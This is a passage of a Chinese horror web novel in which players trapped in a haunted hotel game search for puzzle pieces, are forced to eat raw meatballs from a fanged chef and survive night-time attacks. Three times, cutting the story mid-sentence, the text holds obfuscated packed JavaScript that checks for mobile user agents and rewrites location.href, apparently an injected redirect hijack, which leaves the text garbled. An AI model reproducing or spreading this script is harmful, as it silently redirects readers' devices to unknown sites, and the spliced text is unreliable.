种族:人类 力量:10(你身体健康,肢体反应速度远超同龄人) 智力:7(你很聪明) 法力:5(法力可以把你拔高到那些东西的水平,也可以理解为把那些东西压制到你的维度。不过,区区五点只是聊胜于无) 体力:7/100(过度的饥饿让你抓心捞肺,再不进食会影响你拔刀的速度) 幸运值:5 天赋技能:心契。描述(残缺):你可以选定一名心动对象,进行体/液交换,达成契约,增加法力属性,并获得法力值5点。一重契约·悉心照顾,达成则法力值增加至20点。契约时效,一个游戏副本。契约期间,心动对象死亡,天赋永久冻结。 个人面板里多出一个原来没有的“法力”,括弧的介绍模糊不清。 林昭月深知自己的血并不特殊,刚才能令古怪的发丝失去活性,完全是5点的法力值在起作用。 5点法力值是什么水平呢? 能否抗拒刚才的浮尸对心神的影响? 若是没有韩东在关键时刻喊醒她,她掉进游泳池里,又是否能有一战之力? 这些一时半会得不到答案,林昭月无暇多想,思考的重点放在新增的天赋描述之上。毕竟,达成“一重契约·悉心照顾”能提升法力值是肯定的。 至于该怎么做,提示已经很明白。 “还痛吗?” 林昭月对着林小满已经包扎好的左手,轻吹两口气,嘴里发出“呼呼”的声音。 林小满感激她的帮助,没觉得不对,先是摇摇头,再在手写板上书写:“不痛,你呢?” “一点小伤而已,身体上的痛楚我能忍受,最可怕的是心痛。” 林昭月轻笑一声说:“只要你不痛,我的心就不会痛。” 林小满:“……” 她觉得林姐姐的神情不像是在开玩笑,可是为什么呢? 自己何曾得到过这样直白的重视? 韩东让一部分人到草坪中搜索拼图碎片,没必要全部守在泳池旁边。林昭月带着林小满一起从边缘开始一寸寸摸索草丛,泳池边只剩下韩东和画家。 林昭月提醒林小满,“不要用受伤的手。” 一旁的南黎川忍不住发问:“两位是旧相识?” 林昭月摇头,“我认识小满不比你认识我早。” 南黎川看看林昭月,又看看林小满,说道:“可是显而易见,林小姐对小满的关照是独一份儿的。” 他像是关心亲密的朋友一样,露出笑容说:“冒昧问一句,林小姐的性取向是不是女?” 这就是林昭月没有直接吻林小满的原因,害怕被误会百合。其实,亲吻是最简单的体/液交换,但林小满能不能接受就不一定了。 万一对方就此躲着她呢? 契约期间,心动对象死亡,天赋将永久冻结。她不能冒险。 林昭月说:“我有个妹妹,和小满的年纪差不多。”她看向林小满,契约达成之后,林小满不再被圣光笼罩,和其他人一般无二。 “可能是移情作用,让我小满格外的关注……希望没对你造成困扰。” 林小满连忙摆手,伸手比划起来。动作做到一半,想起林昭月不会手语,连忙书写道:“怎么会!刚才多亏姐姐我才没事。” 一个多小时后,高庆晴从楼上下来,和一行人会合。 南黎川说:“我还以为刘悦会把你拽在房间里,不让你离开她一步呢。” 高庆晴声若蚊吟:“我醒来之后,帮刘姐上好药了。” 南黎川身为大公司的继承人,平日里见过最多的生物就是牛马,心里只有一本牛马图鉴。一看高庆晴就知道只是一只并不罕见的社恐型牛马。她也许不能做到和他人正常交流,但性格却不一定软弱。 真正性格软弱的没什么主见的,其实是林小满。 太阳西坠,隐没在云层里。 林小满在干燥的泥土里摸到一个硬角,抓住一拔,扯出一张硬纸片,边角圆润,正是一张拼图碎片。她高高将其举起来,并抓住林昭月的手腕。 林昭月喊道:“韩哥、韩哥,你快来看看。这个是不是我们要找的东西?” 韩东疾步走过来,接过一看,忍不住露出喜色:“没错,这就是拼图碎片。”他整个下午都耗费在游泳池里,但并无收获。池中的水随着他和画家一网接一网的捕捞,变得越发浑浊,难以看到拼图,捞起来的藻类已经堆成一座小山,理所当然的没有好运到捞起碎片。 “这片你收着吧,”韩东把碎片还给林小满。 “各位客人。” 酒店主楼里突然传出声音,林昭月转头一看,发现餐厅外摆的遮阳伞下站着一个女人。女人仿佛凭空出现的一般,谁也没有注意到她是什么时候到来的。 画家指着女人说:“你们快看,她身上的旗袍。” 这个忽然出现的女人,身上穿的旗袍和拼图图纸上看不见面容的女性一模一样,连布料上的刺绣都没有差别,皆为大朵的桃花。 女人朝着他们走来。她有一双动人的眼睛,双眼皮,睫毛又长又弯。两颗如精心雕琢的黑宝石一般的眼珠完 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438125|169298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 全暴露出来,没有被眼睑遮挡半分,围绕在旁的眼白纯净无瑕,如冬日里的第一场雪。 随着她的步伐,眼珠像是承受不住震颤一样,向眼睑下方滑落,初时还能看到半个眼珠,渐渐只剩下一点黑色的圆弧。很快,整个眼眶被眼白占据。原本明亮的眼睛变得毫无生气,让人不禁怀疑她是否把死鱼的眼睛抠出来装进自己的眼眶里了。 她走路的方式也很怪,身体一摇一晃,一侧肩膀向上耸动。 林昭月问:“你是谁?” 站在她前方的林小满瞪大眼睛,退到她的身旁。林昭月本以为是女人的诡异让林小满害怕,却见林小满根本没有看女人的脸,而是一直盯着她的脚。 林昭月站的位置看不到女人的腿,不过女人已经走近了,露出穿着绣花鞋的一双脚。鞋尖紧绷,鞋跟离地,她分明是踮着脚在走路。 “我来领你们去吃饭,”女人说话了。声音低沉,毫无起伏。 “餐厅已经开始营业,各位客人请跟我来。” 说完,女人转身就走。 林昭月主动走到她身旁,视线在她的手腕上扫过。一只雪白的玉臂上佩戴着白底青的手镯,另一只手腕空着,但一枚漂亮的戒指戴在细长的无名指上。修长的脖颈上戴着两条项链,耳坠和手镯是一套,连绣花鞋上都坠满珍珠。 “小姐姐,你身上的裙子真漂亮。” 女人没有搭理她。 林昭月夸赞她的手镯又透又亮,女人自顾自往前走。 “这些都只是陪衬,因为小姐姐你的美丽而焕发光彩……” 女人停下脚步,转头看向林昭月。她唇角翘起来,面容越发诡异。 “真的吗?” 林昭月笃定地说:“千真万确。” 到目前为止,林昭月遇到的那些东西都有明确的身份。比如,前台的工作人员、酒店的清洁工,就连游泳池的那一具女尸,同样也有身份。她身上穿的是酒店的制服,应该也是清扫、保洁类的工种,唯有女人特殊。 女人笑容的弧度一点点变大,“咯咯咯”笑出声音,她显然很开心。林昭月趁机询问:“你是酒店的客人吗?” “不是哟。” 面部表情太大,女人的眼睛先出现变化,它们垂落到颧骨的位置,眉毛掉到两边的太阳穴上。颤动的双唇沉进下巴尖,空出来的位置被鼻子占据。 这是一张何等扭曲的脸,五官乱跑让美丽变成惊悚。 林昭月瞳孔地震,但神情里没有半分惊惶,仿佛看不见女人的变化一样,继续问:“那小姐姐是酒店的工作人员吗?” 女人猛地凑近林昭月,怪异的一张脸骤然放大。黑色的眼珠浮出一半,死死盯着她。 林昭月微笑以对。 “小姐姐,你还没有回答我。” 女人直起腰,兜在下巴处的红唇一张一合发出声音。 “我不是酒店的客人,我是‘芳华摄影工作室’的客人。” 她站在餐厅的大门口,不再往里走,催促他们:“快点进去。” 画家从她身边走过,瞥到她的脸。此时,她的五官已经全部挤在下半张脸上,眉毛压住耳朵,眼睛夹着鼻子,最怪诞的画作也描述不出她的怪异。画家下意识地捂住嘴,否则一定忍不住尖叫出声。 即使如此,他夸张的动作也让女人抿起嘴角。 韩东连忙伸手一勾,胳膊夹住他的头把人拖进餐厅。 后面的人都埋头往前走,不敢去看女人,就在所有人都走进餐厅的那一刻,原本漆黑的餐厅骤然亮起—— 5. 圣母垂泪(五) 明亮的灯光从上方照下来,桌椅的影子投射在墙面,又长又黑。如同张牙舞爪的鬼怪,正张大嘴等着几人钻进陷阱。 这种规格的酒店,一般都会开放自助餐。餐厅里确实有很多的大理石台面,还有好几个出餐口。 早餐的粉面档,一般在午餐和晚餐时间开放的铁板煎档口都在其中,还有蒸品档口,半成品的流沙包、肉包、饺子、馒头也是酒店早餐的必备品类。 可本来该摆满食物的每一处,此刻都空空荡荡,什么都没有。 “嘭嘭嘭——” 刀具剁向菜板的声音从前方传来。 那里是餐厅正中间的围合明档,上方高高挂着“沙拉”的牌子。一般,这里会摆满用大容量的碗装着的各种蔬菜,还有一堆配料。为体现新鲜度,甚至会安排一位厨师,当着客人的面现开现切割各类水果,但此时站在里面的厨师正在切的不是水果也不是蔬菜,而是肉。 大块的肉。 暗红的、淌血的,一刀下去还会神经痉挛的,不知道是什么品类的肉。 新鲜度很有保证,林昭月开始担心四楼刘悦的安危。不过,她还是更担心自己。毕竟,厨师拿着刀,正在剁肉。面前还有一口咕噜噜沸腾不止的锅,显然锅太小不是用来煮他们的。那唯一的用途就是煮不知名的肉,煮给谁吃显而易见。 “嘭嘭嘭——” 一整块肉飞速变成肉泥。厨师抬起头,双手抓起一些肉糜,团几下丢进锅里。 林昭月终于看到他的脸,溅满血和肉渣的厨师帽下是一张油光满面的脸,油脂太多令他的皮肤光滑到极致,以至于看不到毛孔。 他浑身上下唯一干净的地方,也是这张脸。因为哪怕血珠溅上去,也会滑落,就像露珠掉在荷叶上一样。 “客人来了。” 厨师开口说话,露出满口獠牙。 林昭月这才意识到,为什么自己刚才会觉得他的五官不协调。这个家伙的嘴很大,简直像是人类变异,拥有了一张鲨鱼的嘴。 “客人,要几个肉丸子?” 厨师伸出手,指着高庆晴问。 “我我我……我吗?” 高庆晴没想到厨师会点名让她第一个“取餐”,顿时心里一慌,她双手绞在一起,磕磕巴巴说:“一一一……” 厨师笑着说:“三个,好的。” “……一个。” 高庆晴终于憋出完整的两个字,但已经迟了。 三个拳头大的生肉丸子被丢进锅里,然后立刻被捞起来。 高庆晴连忙说:“多多多……” 厨师高兴地说:“多要一个是吧?正好里面还有一个!一共四个,都给你了。” “多多……多煮一会儿。” 高庆晴急得一头汗,“我是说多煮一会儿。这丸子绝对没……没没熟吧,我我我……我不爱吃……生生肉。” 她恨自己社恐,一紧张就结巴。 厨师像是没有听到一样,对客人的忌口要求毫不在意,把装着四个大丸子的碗递给她。丸子大小不一,但最小都有成年男性的拳头大。 高庆晴在厨师逐渐消失的笑容里,颤抖着接过碗。 厨师指向林昭月,“你呢?客人。” 林昭月露出友善的微笑:“我可以一个都不要吗?” 厨师抓起一把肉塞进嘴里,血水从齿缝里流出来。他笑着说:“你要浪费我的心血吗?不乖的客人会被吃掉的。” 似乎没有商量的余地,她说:“我要一个,煮久一点。” 排在后面的几个人有她打样,都只要一个丸子,都希望能煮得“老”一点,唯有排在最后一个的林小满因为不能说话,又不擅长拒绝别人,在厨师的推销之下,端回两个半的肉丸子。案板上剩下的肉,都在她碗里了。 八人围坐在唯一的一张圆桌边吃晚餐,但没有人动筷。 韩东打破沉默的氛围,拿起筷子说:“吃吧!副本里的食物肯定是没毒的。还不知道什么时候能找到全部的拼图碎片,总是要吃东西的。” 林昭月本来饥肠辘辘,觉得自己能生吞一头牛,现在却被一颗肉丸子弄得毫无胃口。她要求厨师把肉丸子多煮一会儿,但碗里肉丸渗出的血水正在一点点染红透明的汤水。 熟是肯定没熟的,认定肉丸有五分熟都是在安慰自己。 南黎川嫌恶地看着碗里的丸子,问道:“咱们不能下碗面吃吗?我会烧水。” 韩东淡淡道:“你没听到厨师说吗?浪费他心血的客人会被吃掉。据我的经验,这个副本应该没有别的食物了。” 那就非吃不可,得到这个结论,林昭月不再抗拒。她拿起筷子,将碗里的丸子夹碎。一个丸子变成可以入口的四块只有表皮汤熟的肉,她面不改色将其中一块塞进嘴里。 这东西肯定不是人/肉,人类哪一个部位也切不下如此大的一块瘦肉。 至于是什么肉,林昭月吃不出来。 丸子没有调味,又腥又臭。她含在嘴里不去咀嚼,直接往下吞。恶心是有一些的,但她知道自己必须吃。 厨师的威胁只是其一,更重要的原因是她需要补充体力。 她不能死在游戏里,生病的妹妹还在现实世界里等她。没有别的亲人,可以代替她照顾对方。 很快,一个丸子就被吃完。 林昭月头顶的光被挡住,她转过头,看到手持剁肉刀站在后面的厨师。 “客人们,快吃吧。一会儿冷掉,美食就会失去最佳的品鉴时间。” 你管这玩意儿叫美食? 林小满闭着眼睛往嘴里塞进一筷子肉丸,过于刺激的味道让她张开嘴,舌头像是有自我意识一样把肉往外推。可是看到对面的厨师,她还是眼泪汪汪地把肉咽下去,但不知是被盯着太过紧张,还是味觉比一般人的人更发达,落进胃袋的肉还是被哕出来。 厨师根本不反省厨艺,看着这一幕依旧只是催促。 林小满迟迟无勇气吃第二口,害怕吞不下去,也害怕吐出太多令厨师判定为“浪费”。这时候,旁边伸出来一只手,将她的碗挪开。 她有些呆愣地抬起头,面前递来一张纸巾。 林昭月说:“擦擦嘴。你要是不饿的话,剩下的丸子给我吃可以吗?我有点饿,一只丸子没吃饱。” 林小满愣住,她没有想到这种境地下有人会帮助自己。 来自林昭月的帮助,其实不是第一次了。不仅是帮助,还有援救。 这样一碗肉对谁来说都是折磨,林小满咬牙书写:“不用了,林姐姐。” 林昭月躲过她伸过来的手,端着碗还有些烫的碗,筷子伸进里面,一口一口快速吃着丸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438126|169298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子。 一旁的高庆晴用羡慕的目光看着林小满,然后一低头流下痛苦的眼泪。她碗里的四个肉丸子,连一成熟都没有,分量还远远超过她的食量。 四只丸子。 四喜丸子。 多少是个好兆头,她只能如此安慰自己。 韩东很快吃完自己的一碗肉,见厨师的注意力都在进食的人身上,便站起来四处寻找。记着餐厅里有拼图碎片的并非只有他一个人,陈默第二个站起来。林小满想要帮忙寻找,被林昭月拉住:“等我一下,”她咽下嘴里的肉说:“我马上吃完了。” 她连汤汁也没有放过,一口饮尽。 许久没有喝水,她其实也有一些渴了。 餐厅里其实没有太多可以藏东西的地方,他们没有找到拼图碎片。 这一顿晚餐以高庆晴和南黎川的呕吐结束,地上满是秽物。前者是吃得太多,肠胃抗议。后者是从没有被逼着吃过恶心的食物,生理上和心理上都受不了。餐厅里酸臭的气味让林小满不断干呕,林昭月拉着她来到餐厅门口呼吸新鲜空气。 韩东也没待在里面,他看一眼外面的天色,变得紧张起来。招呼众人赶紧回四楼,正色说道:“天已经彻底黑下来,夜晚到来了!晚上不管外面有什么声响,千万不要开门,更不要离开房间。游戏世界的晚上,房间是相对安全的地方。” 八人走进同一部电梯也并不拥挤,林昭月询问韩东:“餐厅里没有碎片,它是在别的地方吗?” 韩东笃定道:“不可能,一定在餐厅里。” 林昭月猜测,碎片可能是在后厨。那样的话,寻找难度就变大了。 “拼图图纸显示餐厅,碎片应该就在这里,”看出她的想法,韩东说:“我觉得,碎片可能还没出现。” 可是餐厅已经被仔细地翻找过。 林昭月瞬间明白他的意思,“难道是食材吗?这一块肉没有,碎片会在下一顿或是下下一顿厨师拿来的食材里。” 韩东夸赞道:“聪明。” 超乎他想象的聪明。 林昭月嘴里还残留着不知名肉类的腥和臭,蹙眉道:“这样的话,我们必须吃厨师做的食物,而且还要尽量在每一餐获得全部的食物。” 韩东点头。 “咝咝。” 电梯门打开,林昭月和韩东默契地跟着高庆晴来到404门口。 房门被卡刷开,床上的刘悦一动不动。 高庆晴“吓”一声,手有点发抖。 原本墙角里三十四厘米高的蘑菇竟然顶住天花板,长而粗的菌杆颜色发灰,伞盖上水泡一样的疙瘩变得有乒乓球大小。乍一看,像是人面上生的疮。 “这些蘑菇该怎么办?” 高庆晴茫然了。 韩东说:“别管蘑菇,你进去看看刘悦死了没有。” 高庆晴长这么大还没有见到过死人,一想到自己要跟死人和三米高的蘑菇住在同一间屋里,待上整整一晚上,她已吓得魂不附体。颤巍巍走进房间,把手放在刘悦的鼻下。 她猛地收回手说:“没没……” 韩东蹙眉问:“没了?” “没……没……没死。” 韩东问:“那你哭什么?” 高庆晴:“喜喜……喜极而泣。” 韩东:“……” 6. 圣母垂泪(六) “403房间里也有蘑菇,长到一人高。差不多一米七八的样子,陈哥和南哥都高,最大的一朵蘑菇长到他们鼻梁的位置。” 401房间里,林小满把自己看到的一切告诉林昭月,她尿急,等手写板念诵完毕,便走向卫生间。很多酒店的房间用的都是磨砂玻璃,卫生间讲究一个隔断但没完全隔断。 林昭月猜测,404的蘑菇顶住天花板,可能和刘悦受伤有关系。现在回想起来,她后知后觉的意识到,床褥上的血渍竟已消失不见。这家酒店的服务是什么水平,她心知肚明,清洁工绝不可能好心的替客人更换床单。那么床单恢复成纯粹的白色,必有别的原因。 那些血和水,很可能是蘑菇吃掉了。 若真是如此,刘悦能够活下来是她的幸运。 “砰——” 卫生间里传来一声轻响,林昭月推开门走进去,只见林小满紧贴着墙壁,一脸无助地用一只手指着马桶,另一只手扯着自己的短发发出“唔唔”的声音。 “你是说马桶里有头发?” 林小满连忙点头。 林昭月凑过去一看,马桶里什么都没有,但她不觉得是林小满看错了。正要移开目光,马桶内忽然冒出几个水泡,浓稠的红色液体喷涌而出,内里夹杂着花白的发丝,大团大团地漂浮在“水面”上。如活物一般蠕动着,顺着马桶壁向上攀爬。 林昭月伸手把马桶盖上,轻拍林小满的肩膀:“把床单卸下来。” 林小满连忙照做,林昭月拿到床单,死死裹住马桶。两个姑娘一起用力,打的死结。 “你想上厕所的话,就到淋浴间解决。夜里不要冲水。” 房间淋浴间没有玻璃隔断,连浴帘都没有,锈迹斑斑的花洒正在“滴滴答答”的落水,林昭月调试开关并无用处,她眉头微微一皱,端来凳子修理花洒。可花洒的问题在于设备的老旧,没办法简单的处理。 林昭月让林小满把被套也卸下来,裹住花洒的喷头。 两人回到房间里,林小满递来一瓶矿泉水。房间里没有准备免费的水,矿泉水是她带进副本里的,只有一瓶,比副本里别的水源更干净。此时也算是比较珍贵的东西,但她愿意给林姐姐,要是她有食物,也愿意全给林姐姐。 林昭月接过水,放在一边,说道:“这个副本里,水是很危险的东西。你要是口渴尽量忍一忍,”她拉开被子的一角,让林小满上床。 “细数到目前为止遇到的诡异事件,都和水有关。喷泉池里的鬼面,水中的浮尸,刚才的马桶,包括忽然发疯的前台工作人员,或许展现出攻击性也是因为水。毕竟,他是在清理蘑菇的时候展现出异状,我们都知道蘑菇被弄断会喷出大量的水。” “夜里,水很有可能带来更多的危险。” 白天的马桶里就没有头发。太阳下山之后,那些东西的力量变强,亦是公认的常识。 这通分析听得人害怕,林小满用被子裹住自己。 林昭月走到卫生间关门。她们清理掉蘑菇之后,墙角缝隙里没有再长出蘑菇,唯一有水源的卫生间比房间危险很多。可惜,酒店的卫生间一般都无法上锁。 她拉上门的时候,忽然感觉脖颈一痒,似乎是被什么东西摸了一下。她下意识抬起头,墙上有一个人影。 狭小的空间里没有人,这是包裹花洒的被套的影子。 卫生间有灯,有光就有影。 林昭月疑惑自己先前是用什么手法裹住花洒的,此时再看坠在花洒下方的一大包被套,竟觉得它似一个躯体被水泡得肿胀发白的长发女人,脚不沾地,飘在空中。 风一吹,被套轻轻晃动,人形的影子同样晃动,一左一右,脚尖时不时碰到林昭月的脖颈。 卫生间里没有窗,哪里来的风。 林昭月脊背发凉,反手关上门。 别乱想,影子是不会碰触到实物的,双方不在一个维度。 她走向床,瞥见林小满惊恐的神情,转头一看。一道细长的黑影从卫生间的门缝里挤出来,五指张开,差一点就要碰到她的鞋了。 林昭月“啪嗒”一声关掉卫生间的灯,黑影骤然消失。没有光,哪来的影子? 她拉上窗帘,关灯上床。 林小满轻轻推她的肩膀,黑暗中询问之意迫切。 “已经没事了。” 林昭月温柔地抚摸着她的头发,柔声说:“有我在,放心地睡吧。” 这样的温柔,林小满长到19岁从没有感受过。她以为自己睡不着,但又累又饿,频频受到惊吓的身躯在精神松懈的情况下,只需要短短几分钟便陷入沉眠。 屋内太黑,林昭月看不清林小满的脸,但脑中自动的浮现出对方熟悉的面部轮廓。她也是刚发现不久,林小满的容貌和妹妹林沉雪竟有两分相似,笑起来的时候,相似度还会持续提高一两分。 天赋技能描述中的头一句便是“选定一名心动对象”,林昭月先前不明白,林小满为什么会是唯一一个心动对象,但现在已经知道其余的八人未让她心动的原因了。 天赋技能比她的思维更早做出判断,身体比大脑更早发现林小满的特殊。 林昭月没有停下手上的动作,就像在抚摸身处现实世界,无法触及的妹妹。 半夜,一阵阵怪异的笑声惊醒林小满。她睡眼蒙眬地坐起来,一时间不知此处是何方。 林昭月拍拍她的背,摸到濡湿的衣衫。 “别怕,姐姐在这里。” 林小满回过神来,看到黑夜中一双清明的眸子,心中顿时安定下来。 “林姐姐,可以开灯吗?” 林昭月说:“开不了。笑声响起的时候,我已经试过。应该是断电了。” 也有可能是受超自然生命的印象,那些东西出现伴随着灯光闪烁算是一种普遍现象。恐怖片里都是如此,应该有几分真实性吧。 她没说出猜想吓林小满,只是温柔地说:“乖,你帮我打着手电筒。” 林小满听话地点头。 林昭月又摸摸她的头,这才放心地走向房门。走廊上“咚咚咚”的脚步声回响,由远及近,在不断响起的尖锐笑声陪衬下,如同敲在心尖的鼓点。 地面轻微震动,走廊里的脚步声有些熟悉。林昭月把耳朵贴在门板上,想要听得更清楚一点。下一秒,“嘭嘭嘭——” 房门被敲响,她捂着耳朵退后两步,没有出声。 “客房服务!” 谁家酒店半夜提供客房服务? 这服务正经吗? 外面果然是清洁工,林昭月继续保持沉默。 “客人,请开门让我进来打扫卫生。” 高分贝的声音在夜里非常扰民,林昭月的耳朵嗡嗡作响,接着门板巨震。清洁工在撞门,原本在她看来还算厚的门板,此时此刻就像是薄薄的一张纸。门框发出不堪重负的“嘎吱”声,灰尘和墙皮被抖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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林昭月转过头,林小满抱膝坐在床上,浑身发抖。 “你觉得外面的是周航吗?” 这个问题让林小满一愣,虽然接触得不太久,但相互之间的声音彼此都能听得出来。她伸手比画,“外面不是他吗?” 林昭月从林小满黑白分明的眼睛里阅读她无声的话语,说道:“从刚才到现在,这个周航没有叫出任何一个玩家的名字。危境之下一直报房号不喊人,非常不合理。” “小满,你不用不安,也无需因未伸出援手而愧疚。” 林小满愣住,顷刻间明白她是在被安慰。 这样一个惊悚恐怖之地,她竟被人无微不至的呵护着。 只因为她长得像另一个人? 林小满抚摸自己的面颊,心想:真希望她是林姐姐的亲妹妹…… 外面的“周航”逐渐安静下来,只剩下连绵不绝的笑声依旧。林小满窝在温暖的怀抱里,不知什么时候睡过去的。 再一次醒来,已是天光大亮。 “林小姐,我是韩东。” 林昭月下床拉开门,眼中不见倦色。 韩东说:“我想去405查探一下周航的情况,你要和我一起吗?” 7. 圣母垂泪(七) “当然,我也很担心他。” 林昭月口中说的话,韩东一个字都不信。周航冲动易怒,并不是一个好相处的人,又是中途从外面回来的,恐怕林昭月和他话都没有说过几句。 比起周航,反而是另一个人真切的被林昭月担心着。 韩东向着屋内看去,林昭月挡住他的视线说:“韩哥,不好往女孩子的房间乱看的。” “抱歉、抱歉,”韩东没有丝毫尴尬之色,说道:“身处拼图游戏这样的地方,我习惯随时确认大家的情况。小满没受伤吧?” “没有,”林昭月听出他语气里的深意,从善如流询问道:“昨夜还有别的人出事?” “那可不!有个倒霉蛋。” 两人说着,朝着405走去。韩东正准备敲门,房门从里面打开,周航依旧穿着那一身皱巴巴的衣服,见到堵在门口的两人,许久没有做出反应,直挺挺站在门口。他昨天经受过暴晒,如今像是一只被煮熟的小龙虾,皮肤通红一片。损伤严重的情况下,像是蛇一样一层层蜕皮,看起来颇为可怖。 “周航?” 林昭月试探性地喊他的名字,周航表情木然,眼神更是痴呆呆的,但知道应声。接着,迟钝地回过神来,问道:“天亮了,是不是该去餐厅吃早饭?” 林昭月觉得他不对劲,但韩东却是对他的情况见怪不怪,点点头说:“是的,我们就是来喊你下楼的。你昨天睡得怎么样?” 周航说:“还行。” “听到什么怪声儿没有?” 周航思考两秒,缓缓摇头。 “我什么声音都没有听到。” 韩东追问:“那你有没有离开房间呢?” 周航用一种“你是傻子吗?”的眼神看着他,一字一顿地说:“你叮嘱过我们,晚上不管外面有什么声响,千万不要开门,更不要离开房间。我记在心里的,你却已经忘了?” 韩东一点也不生气,笑眯眯说:“没有,这么重要的事情,哪能忘啊。” 屋内的玩家们先后走出来,周航和二人拉开一段距离,韩东这才说:“只有还有脾气,知道怼人,情况就不算严重。这是应激了,正常的生理反应。忽然被拉进生死游戏之中,就算情绪崩溃,选择自杀逃避一切,也并不奇怪。” 林昭月停下脚步说:“自/杀一定就是逃避吗?” 韩东一笑:“林小姐有别的见解?” 林昭月同样一笑,“没有。” 韩东不以为意,说道:“看来昨晚不是他,而是伪装成他的那种东西。” 林昭月点头,是他的话他应该已经无了。 路过403的时候,画家正好从里面走出来。这间房没有蘑菇,显然和401一样早早就清理过,否则昨夜回来再想清理,已经难以做到。 一行人走进电梯,南黎川在门关上之前挤进来,一只手放在脖子上,似乎有些不适。陈默跟在他的身后,看到林小满,出声问:“你还有药吗?” 林小满摇头,仅剩的药物她都给404的刘悦了。 陈默看向高庆晴,问道:“你屋里的药还有剩的吗?” 高庆晴睡眼惺忪,打着哈欠说:“刘姐的伤那么重,昨天就已经全部用光了。她还嫌弃药不够多,哪还有剩的。”说到这里,她稍微恢复一点精神,追问道:“谁需要药?难不成那些蘑菇炸开的时候,不仅会发出古怪的笑声,还会伤人?” 昨天半夜,第一朵蘑菇“啊哈哈哈”一声炸开,菌盖从一把半开的伞变成一把彻底打开的伞,喷出黄色的烟雾。 刘姐说,烟雾可能是蘑菇的孢子。 随后,爬满一面墙,顶住天花板的蘑菇接二连三地炸开。屋内空气逐渐稀薄,连呼吸都变得困难,无奈之下,两人只能避进卫生间里,艰难地数着分秒等来日出。 “咳咳咳咳……” 高庆晴爆发出一阵剧烈的咳嗽,佝偻着背部捂住胸口,因咳嗽而引起的身体痉挛才减轻一些,稍微平缓呼吸,她说:“果然,离它们远一点是对的。” 原来,发出笑声的是蘑菇。 韩东同样不知道此事,不着痕迹地追问细节。高庆晴不紧张的时候,说话是正常的,不会结巴。等她把昨夜的遭遇抖落得一干二净,一行人已经来到餐厅。 高庆晴并不傻,没忘记问是谁受伤,怎么伤的。 陈默说:“晚上不能喝水,否则头发丝会往人的肚子里钻。遇到这种情况,往肚子上打一拳能把它们呕出来,但最好再口渴都忍着别喝水,不然会像南先生一样伤到口腔和咽喉。” 原来,倒霉蛋是南黎川。 林昭月发现陈默对南黎川的称呼有变化,之前他一直直呼每个人的姓名。哪怕是对韩东,也不例外。 南黎川颇为尴尬,他是一个商人,对资本家来说,消息是能创造利益的高价值之物品。他详细描述当时的感觉,细致全面。 “水一入口就丝丝缕缕的卡在牙齿的缝隙里,缠住舌头,像是活物一样往下挤。要不是陈先生当机立断,我可能已经肠穿肚烂而亡。我喝的水是密封的矿泉水,从现实世界带进来的。” 南黎川的声音沙哑低沉,显然是声带受伤的缘故。 “各位昨夜有什么特别的遭遇吗?” 林昭月说:“晚上最好把马桶和花洒堵住,有水的地方容易发生灵异事件。” 刚觉得卫生间很安全的高庆晴,浑身凉飕飕的。 幸好,昨夜404的卫生间没什么异常。 韩东没什么要补充的,老生常谈让他们夜里不要开门。 餐厅已经开始运营,一行人走进去的时候,厨师手里没有拿刀,面前的案板上是新鲜肉泥。他脸上的油比昨天更厚,听到脚步声抬起头来说:“早餐是肉丸,客人们要几颗呢?” 这一次,厨师没有固定点餐的顺序。昨天吃肉丸到吐的刘悦和南黎川同时开口,“一颗。” 南黎川更懂人情世故,最后还加上一句“谢谢”。 韩东对林昭月说:“我最后,你随意。” 两人有默契,必须耗光厨师每一顿拿出的所有食物,里面没准就有拼图碎片。 既然有人兜底,林昭月按照自己的食量选择。 几人依旧围成一桌进食,沉默地吃着过分油腻的早餐,画家忽然“呜咽”一声,捂着自己的腮帮子,吐出一颗牙齿。 林昭月本以为是他的牙齿掉落,却见他张开嘴,两排牙齿整整齐齐。多出的一颗牙,显然是肉丸里面的佐料。 “为什么我要遭受这种事情,我从来没有害过人……” 画家盯着桌子上的牙齿,可以清楚地看到牙根尖端附着的暗红血丝,边缘处的组织碎屑和肉丸一样都未被烫熟。 这到底是什么动物的牙齿呢? 画家浑身颤抖,情绪骤然崩溃,抱着自己的头尖叫,柔顺的长发被他弄得一团乱。 “啊啊啊,我要回家,让我回家!” 众人或多或少,都有受他的情绪影响。 南黎川捶墙骂道:“狗日的。” 稳重的陈默摸出一根烟,点上,狠狠吸一口。 高庆晴眼泪不断线地往下滚,先是抽噎几声,随后大哭起来,哀号道:“世界上这么多人,为什么偏偏我这么倒霉?” 韩东对这种场面习以为常,但眼见气氛越来越糟糕,也知道不能继续放任下去。他咽下一口肉,沉声说:“我不知道大家被该死的破游戏选中的原因,但据我所知,它挑选玩家的方式是完全随机的。” “你可能会遇到40多岁的家庭妇女,也会遇到不满20的学生,这里有画家、有职业拳手,有死刑犯,也有虔诚的教徒。男人、女人、善人、恶人都不是它挑选的标准,其中也没有地域的关联性。” 